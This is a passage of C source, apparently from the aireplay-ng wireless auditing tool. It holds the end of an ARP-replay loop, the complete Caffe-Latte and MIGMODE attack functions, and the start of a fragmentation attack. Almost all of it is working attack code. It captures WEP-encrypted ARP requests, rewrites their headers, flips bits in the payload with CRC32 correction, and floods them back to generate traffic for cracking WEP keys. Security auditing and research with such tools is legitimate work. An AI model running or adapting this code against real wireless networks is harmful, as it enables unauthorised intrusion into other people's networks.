            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
        }

        if( ticks[1] > (RTC_RESOLUTION/10) )
        {
            ticks[1] = 0;
            printf( "\rRead %ld packets (got %ld ARP requests and %ld ACKs), "
                    "sent %ld packets...(%d pps)\r",
                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
            fflush( stdout );
        }

        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
        {
            /* threshold reach, send one frame */

            ticks[2] = 0;

            if( nb_arp > 0 )
            {
                if( nb_pkt_sent == 0 )
                    ticks[0] = 0;

                if( send_packet( arp[arp_off1].buf,
                                 arp[arp_off1].len ) < 0 )
                    return( 1 );

                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
                {
                    if( send_packet( arp[arp_off1].buf,
                                    arp[arp_off1].len ) < 0 )
                        return( 1 );
                }

                if( ++arp_off1 >= nb_arp )
                    arp_off1 = 0;
            }
        }

        /* read a frame, and check if it's an ARP request */

        if( opt.s_file == NULL )
        {
            gettimeofday( &tv, NULL );

            caplen = read_packet( h80211, sizeof( h80211 ), NULL );

            if( caplen  < 0 ) return( 1 );
            if( caplen == 0 ) continue;
        }
        else
        {
            n = sizeof( pkh );

            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
            {
                opt.s_file = NULL;
                continue;
            }

            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
                SWAP32( pkh.caplen );
                SWAP32( pkh.len );
            }

            tv.tv_sec  = pkh.tv_sec;
            tv.tv_usec = pkh.tv_usec;

            n = caplen = pkh.caplen;

            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
            {
                printf( "\r\33[KInvalid packet length %d.\n", n );
                opt.s_file = NULL;
                continue;
            }

            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
            {
                opt.s_file = NULL;
                continue;
            }

            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
            {
                /* remove the prism header */

                if( h80211[7] == 0x40 )
                    n = 64;
                else
                    n = *(int *)( h80211 + 4 );

                if( n < 8 || n >= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
            {
                /* remove the radiotap header */

                n = *(unsigned short *)( h80211 + 2 );

                if( n <= 0 || n >= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
            {
                /* remove the PPI header */

                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));

                if( n <= 0 || n>= (int) caplen )
                    continue;

                /* for a while Kismet logged broken PPI headers */
                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
                    n = 32;

                if( n <= 0 || n>= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }
        }

        nb_pkt_read++;

        /* check if it's a disassociation or deauthentication packet */

        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
        {
            nb_bad_pkt++;

            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
            {
                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
                        "source MAC associated ?\n" );

                tc = time( NULL );
                nb_bad_pkt = 0;
            }
        }

        if( h80211[0] == 0xD4 &&
            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
        {
            nb_ack_pkt++;
        }

        /* check if it's a potential ARP request */

        opt.f_minlen = opt.f_maxlen = 68;

        if( filter_packet( h80211, caplen ) == 0 )
            goto add_arp;

        opt.f_minlen = opt.f_maxlen = 86;

        if( filter_packet( h80211, caplen ) == 0 )
        {
add_arp:
            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
                z+=2;

            switch( h80211[1] & 3 )
            {
                case  1: /* ToDS */
                {
                    /* keep as a ToDS packet */

                    memcpy( h80211 +  4, opt.f_bssid, 6 );
                    memcpy( h80211 + 10, opt.r_smac,  6 );
                    memcpy( h80211 + 16, opt.f_dmac,  6 );

                    h80211[1] = 0x41;   /* ToDS & WEP  */
                }
                case  2: /* FromDS */
                {
                    if( opt.r_fromdsinj )
                    {
                        /* keep as a FromDS packet */

                        memcpy( h80211 +  4, opt.f_dmac,  6 );
                        memcpy( h80211 + 10, opt.f_bssid, 6 );
                        memcpy( h80211 + 16, opt.r_smac,  6 );

                        h80211[1] = 0x42;   /* FromDS & WEP  */
                    }
                    else
                    {
                        /* rewrite header to make it a ToDS packet */

                        memcpy( h80211 +  4, opt.f_bssid, 6 );
                        memcpy( h80211 + 10, opt.r_smac,  6 );
                        memcpy( h80211 + 16, opt.f_dmac,  6 );

                        h80211[1] = 0x41;   /* ToDS & WEP  */
                    }
                }
            }

            //should be correct already, keep qos/wds status
//             h80211[0] = 0x08;   /* normal data */

            /* if same IV, perhaps our own packet, skip it */

            for( i = 0; i < nb_arp; i++ )
            {
                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
                    break;
            }

            if( i < nb_arp )
                continue;

            if( caplen > 128)
                continue;
            /* add the ARP request in the ring buffer */

            nb_arp_tot++;

            /* Ring buffer size: by default: 8 ) */

            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
            {
                /* no more room, overwrite oldest entry */

                memcpy( arp[arp_off2].buf, h80211, caplen );
                arp[arp_off2].len = caplen;
                arp[arp_off2].hdrlen = z;

                if( ++arp_off2 >= nb_arp )
                    arp_off2 = 0;
            } else {

                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
                    perror( "malloc failed" );
                    return( 1 );
                }

                memcpy( arp[nb_arp].buf, h80211, caplen );
                arp[nb_arp].len = caplen;
                arp[nb_arp].hdrlen = z;
                nb_arp++;

                pkh.tv_sec  = tv.tv_sec;
                pkh.tv_usec = tv.tv_usec;
                pkh.caplen  = caplen;
                pkh.len     = caplen;

                n = sizeof( pkh );

                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
                    perror( "fwrite failed" );
                    return( 1 );
                }

                n = pkh.caplen;

                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
                    perror( "fwrite failed" );
                    return( 1 );
                }

                fflush( f_cap_out );
            }
        }
    }

    return( 0 );
}

int do_attack_caffe_latte( void )
{
    int nb_bad_pkt;
    int arp_off1, arp_off2;
    int i, n, caplen, nb_arp, z;
    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
    uchar flip[4096];

    time_t tc;
    float f, ticks[3];
    struct timeval tv;
    struct timeval tv2;
    struct tm *lt;

    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;
    struct ARP_req * arp;

    /* capture only WEP data to broadcast address */

    opt.f_type    = 2;
    opt.f_subtype = 0;
    opt.f_iswep   = 1;
    opt.f_fromds  = 0;

    if(getnet(NULL, 1, 1) != 0)
        return 1;

    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
    {
        printf( "Please specify a BSSID (-b).\n" );
        return( 1 );
    }
    /* create and write the output pcap header */

    gettimeofday( &tv, NULL );

    pfh_out.magic         = TCPDUMP_MAGIC;
    pfh_out.version_major = PCAP_VERSION_MAJOR;
    pfh_out.version_minor = PCAP_VERSION_MINOR;
    pfh_out.thiszone      = 0;
    pfh_out.sigfigs       = 0;
    pfh_out.snaplen       = 65535;
    pfh_out.linktype      = LINKTYPE_IEEE802_11;

    lt = localtime( (const time_t *) &tv.tv_sec );

    memset( strbuf, 0, sizeof( strbuf ) );
    snprintf( strbuf,  sizeof( strbuf ) - 1,
              "replay_arp-%02d%02d-%02d%02d%02d.cap",
              lt->tm_mon + 1, lt->tm_mday,
              lt->tm_hour, lt->tm_min, lt->tm_sec );

    printf( "Saving ARP requests in %s\n", strbuf );

    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
    {
        perror( "fopen failed" );
        return( 1 );
    }

    n = sizeof( struct pcap_file_header );

    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed\n" );
        return( 1 );
    }

    fflush( f_cap_out );

    printf( "You should also start airodump-ng to capture replies.\n" );

    if(opt.port_in <= 0)
    {
        /* avoid blocking on reading the socket */
        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
        {
            perror( "fcntl(O_NONBLOCK) failed" );
            return( 1 );
        }
    }

    if ( opt.ringbuffer )
        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
    else
        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );

    memset( ticks, 0, sizeof( ticks ) );

    tc = time( NULL ) - 11;

    nb_pkt_read = 0;
    nb_bad_pkt  = 0;
    nb_ack_pkt  = 0;
    nb_arp      = 0;
    nb_arp_tot  = 0;
    arp_off1    = 0;
    arp_off2    = 0;

    while( 1 )
    {
        /* sleep until the next clock tick */

        if( dev.fd_rtc >= 0 )
        {
            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
            {
                perror( "read(/dev/rtc) failed" );
                return( 1 );
            }

            ticks[0]++;
            ticks[1]++;
            ticks[2]++;
        }
        else
        {
            gettimeofday( &tv,  NULL );
            usleep( 1000000/RTC_RESOLUTION );
            gettimeofday( &tv2, NULL );

            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
                        + (float) ( tv2.tv_usec - tv.tv_usec );

            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
        }

        if( ticks[1] > (RTC_RESOLUTION/10) )
        {
            ticks[1] = 0;
            printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), "
                    "sent %ld packets...(%d pps)\r",
                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
            fflush( stdout );
        }

        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
        {
            /* threshold reach, send one frame */

            ticks[2] = 0;

            if( nb_arp > 0 )
            {
                if( nb_pkt_sent == 0 )
                    ticks[0] = 0;

                if( send_packet( arp[arp_off1].buf,
                                 arp[arp_off1].len ) < 0 )
                    return( 1 );

                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
                {
                    if( send_packet( arp[arp_off1].buf,
                                    arp[arp_off1].len ) < 0 )
                        return( 1 );
                }

                if( ++arp_off1 >= nb_arp )
                    arp_off1 = 0;
            }
        }

        /* read a frame, and check if it's an ARP request */

        if( opt.s_file == NULL )
        {
            gettimeofday( &tv, NULL );

            caplen = read_packet( h80211, sizeof( h80211 ), NULL );

            if( caplen  < 0 ) return( 1 );
            if( caplen == 0 ) continue;
        }
        else
        {
            n = sizeof( pkh );

            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
            {
                opt.s_file = NULL;
                continue;
            }

            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
                SWAP32( pkh.caplen );
                SWAP32( pkh.len );
            }

            tv.tv_sec  = pkh.tv_sec;
            tv.tv_usec = pkh.tv_usec;

            n = caplen = pkh.caplen;

            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
            {
                printf( "\r\33[KInvalid packet length %d.\n", n );
                opt.s_file = NULL;
                continue;
            }

            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
            {
                opt.s_file = NULL;
                continue;
            }

            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
            {
                /* remove the prism header */

                if( h80211[7] == 0x40 )
                    n = 64;
                else
                    n = *(int *)( h80211 + 4 );

                if( n < 8 || n >= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
            {
                /* remove the radiotap header */

                n = *(unsigned short *)( h80211 + 2 );

                if( n <= 0 || n >= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
            {
                /* remove the PPI header */

                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));

                if( n <= 0 || n>= (int) caplen )
                    continue;

                /* for a while Kismet logged broken PPI headers */
                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
                    n = 32;

                if( n <= 0 || n>= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }
        }

        nb_pkt_read++;

        /* check if it's a disas. or deauth packet */

        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
        {
            nb_bad_pkt++;

            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
            {
                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
                        "source MAC associated ?\n" );

                tc = time( NULL );
                nb_bad_pkt = 0;
            }
        }

        if( h80211[0] == 0xD4 &&
            ! memcmp( h80211 + 4, opt.f_bssid, 6 ) )
        {
            nb_ack_pkt++;
        }

        /* check if it's a potential ARP request */

        opt.f_minlen = opt.f_maxlen = 68;

        if( filter_packet( h80211, caplen ) == 0 )
            goto add_arp;

        opt.f_minlen = opt.f_maxlen = 86;

        if( filter_packet( h80211, caplen ) == 0 )
        {
add_arp:
            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
                z+=2;

            switch( h80211[1] & 3 )
            {
                case  0: /* ad-hoc */
                {
                    if(memcmp(h80211 + 16, BROADCAST, 6) == 0)
                    {
                        /* rewrite to an ad-hoc packet */

                        memcpy( h80211 +  4, BROADCAST, 6 );
                        memcpy( h80211 + 10, opt.r_smac,  6 );
                        memcpy( h80211 + 16, opt.f_bssid,  6 );

                        h80211[1] = 0x40;   /* WEP  */
                    }
                    else
                    {
                        nb_arp_tot++;
                        continue;
                    }

                    break;
                }
                case  1: /* ToDS */
                {
                    if(memcmp(h80211 + 16, BROADCAST, 6) == 0)
                    {
                        /* rewrite to a FromDS packet */

                        memcpy( h80211 +  4, BROADCAST, 6 );
                        memcpy( h80211 + 10, opt.f_bssid,  6 );
                        memcpy( h80211 + 16, opt.f_bssid,  6 );

                        h80211[1] = 0x42;   /* ToDS & WEP  */
                    }
                    else
                    {
                        nb_arp_tot++;
                        continue;
                    }

                    break;
                }
                default:
                    continue;
            }

//             h80211[0] = 0x08;   /* normal data */

            /* if same IV, perhaps our own packet, skip it */

            for( i = 0; i < nb_arp; i++ )
            {
                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
                    break;
            }

            if( i < nb_arp )
                continue;

            if( caplen > 128)
                continue;
            /* add the ARP request in the ring buffer */

            nb_arp_tot++;

            /* Ring buffer size: by default: 8 ) */

            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
                continue;
            else {

                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
                    perror( "malloc failed" );
                    return( 1 );
                }

                memset(flip, 0, 4096);

//                 flip[49-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC
//                 flip[53-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
                flip[z+21] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC
                flip[z+25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP

                add_crc32_plain(flip, caplen-z-4-4);
                for(i=0; i<caplen-z-4; i++)
                    (h80211+z+4)[i] ^= flip[i];

                memcpy( arp[nb_arp].buf, h80211, caplen );
                arp[nb_arp].len = caplen;
                arp[nb_arp].hdrlen = z;
                nb_arp++;

                pkh.tv_sec  = tv.tv_sec;
                pkh.tv_usec = tv.tv_usec;
                pkh.caplen  = caplen;
                pkh.len     = caplen;

                n = sizeof( pkh );

                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
                    perror( "fwrite failed" );
                    return( 1 );
                }

                n = pkh.caplen;

                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
                    perror( "fwrite failed" );
                    return( 1 );
                }

                fflush( f_cap_out );
            }
        }
    }

    return( 0 );
}

int do_attack_migmode( void )
{
    int nb_bad_pkt;
    int arp_off1, arp_off2;
    int i, n, caplen, nb_arp, z;
    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
    uchar flip[4096];
    uchar senderMAC[6];

    time_t tc;
    float f, ticks[3];
    struct timeval tv;
    struct timeval tv2;
    struct tm *lt;

    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;
    struct ARP_req * arp;

    if ( opt.ringbuffer )
        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
    else
        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );

    /* capture only WEP data to broadcast address */

    opt.f_type    = 2;
    opt.f_subtype = 0;
    opt.f_iswep   = 1;
    opt.f_fromds  = 1;

    if(getnet(NULL, 1, 1) != 0)
        return 1;

    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
    {
        printf( "Please specify a BSSID (-b).\n" );
        return( 1 );
    }
    /* create and write the output pcap header */

    gettimeofday( &tv, NULL );

    pfh_out.magic         = TCPDUMP_MAGIC;
    pfh_out.version_major = PCAP_VERSION_MAJOR;
    pfh_out.version_minor = PCAP_VERSION_MINOR;
    pfh_out.thiszone      = 0;
    pfh_out.sigfigs       = 0;
    pfh_out.snaplen       = 65535;
    pfh_out.linktype      = LINKTYPE_IEEE802_11;

    lt = localtime( (const time_t *) &tv.tv_sec );

    memset( strbuf, 0, sizeof( strbuf ) );
    snprintf( strbuf,  sizeof( strbuf ) - 1,
              "replay_arp-%02d%02d-%02d%02d%02d.cap",
              lt->tm_mon + 1, lt->tm_mday,
              lt->tm_hour, lt->tm_min, lt->tm_sec );

    printf( "Saving ARP requests in %s\n", strbuf );

    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
    {
        perror( "fopen failed" );
        return( 1 );
    }

    n = sizeof( struct pcap_file_header );

    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed\n" );
        return( 1 );
    }

    fflush( f_cap_out );

    printf( "You should also start airodump-ng to capture replies.\n" );
    printf( "Remember to filter the capture to only keep WEP frames: ");
    printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
    //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n");

    if(opt.port_in <= 0)
    {
        /* avoid blocking on reading the socket */
        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
        {
            perror( "fcntl(O_NONBLOCK) failed" );
            return( 1 );
        }
    }

    memset( ticks, 0, sizeof( ticks ) );

    tc = time( NULL ) - 11;

    nb_pkt_read = 0;
    nb_bad_pkt  = 0;
    nb_ack_pkt  = 0;
    nb_arp      = 0;
    nb_arp_tot  = 0;
    arp_off1    = 0;
    arp_off2    = 0;

    while( 1 )
    {
        /* sleep until the next clock tick */

        if( dev.fd_rtc >= 0 )
        {
            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
            {
                perror( "read(/dev/rtc) failed" );
                return( 1 );
            }

            ticks[0]++;
            ticks[1]++;
            ticks[2]++;
        }
        else
        {
            gettimeofday( &tv,  NULL );
            usleep( 1000000/RTC_RESOLUTION );
            gettimeofday( &tv2, NULL );

            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
                        + (float) ( tv2.tv_usec - tv.tv_usec );

            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
        }

        if( ticks[1] > (RTC_RESOLUTION/10) )
        {
            ticks[1] = 0;
            printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), "
                    "sent %ld packets...(%d pps)\r",
                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
            fflush( stdout );
        }

        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
        {
            /* threshold reach, send one frame */

            ticks[2] = 0;

            if( nb_arp > 0 )
            {
                if( nb_pkt_sent == 0 )
                    ticks[0] = 0;

                if( send_packet( arp[arp_off1].buf,
                                 arp[arp_off1].len ) < 0 )
                    return( 1 );

                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
                {
                    if( send_packet( arp[arp_off1].buf,
                                    arp[arp_off1].len ) < 0 )
                        return( 1 );
                }

                if( ++arp_off1 >= nb_arp )
                    arp_off1 = 0;
            }
        }

        /* read a frame, and check if it's an ARP request */

        if( opt.s_file == NULL )
        {
            gettimeofday( &tv, NULL );

            caplen = read_packet( h80211, sizeof( h80211 ), NULL );

            if( caplen  < 0 ) return( 1 );
            if( caplen == 0 ) continue;
        }
        else
        {
            n = sizeof( pkh );

            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
            {
                opt.s_file = NULL;
                continue;
            }

            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
                SWAP32( pkh.caplen );
                SWAP32( pkh.len );
            }

            tv.tv_sec  = pkh.tv_sec;
            tv.tv_usec = pkh.tv_usec;

            n = caplen = pkh.caplen;

            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
            {
                printf( "\r\33[KInvalid packet length %d.\n", n );
                opt.s_file = NULL;
                continue;
            }

            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
            {
                opt.s_file = NULL;
                continue;
            }

            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
            {
                /* remove the prism header */

                if( h80211[7] == 0x40 )
                    n = 64;
                else
                    n = *(int *)( h80211 + 4 );

                if( n < 8 || n >= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
            {
                /* remove the radiotap header */

                n = *(unsigned short *)( h80211 + 2 );

                if( n <= 0 || n >= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }

            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
            {
                /* remove the PPI header */

                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));

                if( n <= 0 || n>= (int) caplen )
                    continue;

                /* for a while Kismet logged broken PPI headers */
                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
                    n = 32;

                if( n <= 0 || n>= (int) caplen )
                    continue;

                memcpy( tmpbuf, h80211, caplen );
                caplen -= n;
                memcpy( h80211, tmpbuf + n, caplen );
            }
        }

        nb_pkt_read++;

        /* check if it's a disas. or deauth packet */

        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
        {
            nb_bad_pkt++;

            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
            {
                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
                        "source MAC associated ?\n" );

                tc = time( NULL );
                nb_bad_pkt = 0;
            }
        }

        if( h80211[0] == 0xD4 &&
            ! memcmp( h80211 + 4, opt.f_bssid, 6 ) )
        {
            nb_ack_pkt++;
        }

        /* check if it's a potential ARP request */

        opt.f_minlen = opt.f_maxlen = 68;

        if( filter_packet( h80211, caplen ) == 0 )
            goto add_arp;

        opt.f_minlen = opt.f_maxlen = 86;

        if( filter_packet( h80211, caplen ) == 0 )
        {
add_arp:
            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
                z+=2;

            switch( h80211[1] & 3 )
            {
                case  2: /* FromDS */
                {
                    if(memcmp(h80211 + 4, BROADCAST, 6) == 0)
                    {
                        /* backup sender MAC */

                        memset( senderMAC, 0, 6 );
                        memcpy( senderMAC, h80211 + 16, 6 );

                        /* rewrite to a ToDS packet */

                        memcpy( h80211 + 4, opt.f_bssid,  6 );
                        memcpy( h80211 + 10, opt.r_smac,  6 );
                        memcpy( h80211 + 16, BROADCAST, 6 );

                        h80211[1] = 0x41;   /* ToDS & WEP  */
                    }
                    else
                    {
                        nb_arp_tot++;
                        continue;
                    }

                    break;
                }
                default:
                    continue;
            }

//             h80211[0] = 0x08;   /* normal data */

            /* if same IV, perhaps our own packet, skip it */

            for( i = 0; i < nb_arp; i++ )
            {
                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
                    break;
            }

            if( i < nb_arp )
                continue;

            if( caplen > 128)
                continue;
            /* add the ARP request in the ring buffer */

            nb_arp_tot++;

            /* Ring buffer size: by default: 8 ) */

            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
                continue;
            else {

                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
                    perror( "malloc failed" );
                    return( 1 );
                }

                memset(flip, 0, 4096);

                /* flip the sender MAC to convert it into the source MAC  */
                flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
                flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
                flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
                flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
                flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
                flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
                flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP

                add_crc32_plain(flip, caplen-z-4-4);
                for(i=0; i<caplen-z-4; i++)
                {
                    (h80211+z+4)[i] ^= flip[i];
                }

                memcpy( arp[nb_arp].buf, h80211, caplen );
                arp[nb_arp].len = caplen;
                arp[nb_arp].hdrlen = z;
                nb_arp++;

                pkh.tv_sec  = tv.tv_sec;
                pkh.tv_usec = tv.tv_usec;
                pkh.caplen  = caplen;
                pkh.len     = caplen;

                n = sizeof( pkh );

                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
                    perror( "fwrite failed" );
                    return( 1 );
                }

                n = pkh.caplen;

                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
                    perror( "fwrite failed" );
                    return( 1 );
                }

                fflush( f_cap_out );
            }
        }
    }

    return( 0 );
}

int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes
{
    if(buf == NULL)
        return -1;

    memcpy(buf, S_LLC_SNAP_ARP, 8);
    buf[8]  = 0x00;
    buf[9]  = 0x01; //ethernet
    buf[10] = 0x08; // IP
    buf[11] = 0x00;
    buf[12] = 0x06; //hardware size
    buf[13] = 0x04; //protocol size
    buf[14] = 0x00;
    if(memcmp(dmac, BROADCAST, 6) == 0)
        buf[15]  = 0x01; //request
    else
        buf[15]  = 0x02; //reply
    memcpy(buf+16, smac, 6);

    return 0;
}

int set_final_arp(uchar *buf, uchar *mymac)
{
    if(buf == NULL)
        return -1;

    //shifted by 10bytes to set source IP as target IP :)

    buf[0] = 0x08; // IP
    buf[1] = 0x00;
    buf[2] = 0x06; //hardware size
    buf[3] = 0x04; //protocol size
    buf[4] = 0x00;
    buf[5] = 0x01; //request
    memcpy(buf+6, mymac, 6); //sender mac
    buf[12] = 0xA9; //sender IP 169.254.87.197
    buf[13] = 0xFE;
    buf[14] = 0x57;
    buf[15] = 0xC5; //end sender IP

    return 0;
}

int set_clear_ip(uchar *buf, int ip_len) //set first 9 bytes
{
    if(buf == NULL)
        return -1;

    memcpy(buf, S_LLC_SNAP_IP, 8);
    buf[8]  = 0x45;
    buf[10] = (ip_len >> 8)  & 0xFF;
    buf[11] = ip_len & 0xFF;

    return 0;
}

int set_final_ip(uchar *buf, uchar *mymac)
{
    if(buf == NULL)
        return -1;

    //shifted by 10bytes to set source IP as target IP :)

    buf[0] = 0x06; //hardware size
    buf[1] = 0x04; //protocol size
    buf[2] = 0x00;
    buf[3] = 0x01; //request
    memcpy(buf+4, mymac, 6); //sender mac
    buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX
    buf[11] = 0xFE;

    return 0;
}

int do_attack_cfrag( void )
{
    int caplen, n;
    struct timeval tv;
    struct timeval tv2;
    float f, ticks[3];
    unsigned char bssid[6];
    unsigned char smac[6];
    unsigned char dmac[6];
    uchar keystream[128];
    uchar frag1[128], frag2[128], frag3[128];
    uchar clear[4096], final[4096], flip[4096];
    int isarp;
    int z, i;

    opt.f_fromds = 0;

read_packets:

    if( capture_ask_packet( &caplen, 0 ) != 0 )
        return( 1 );

    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
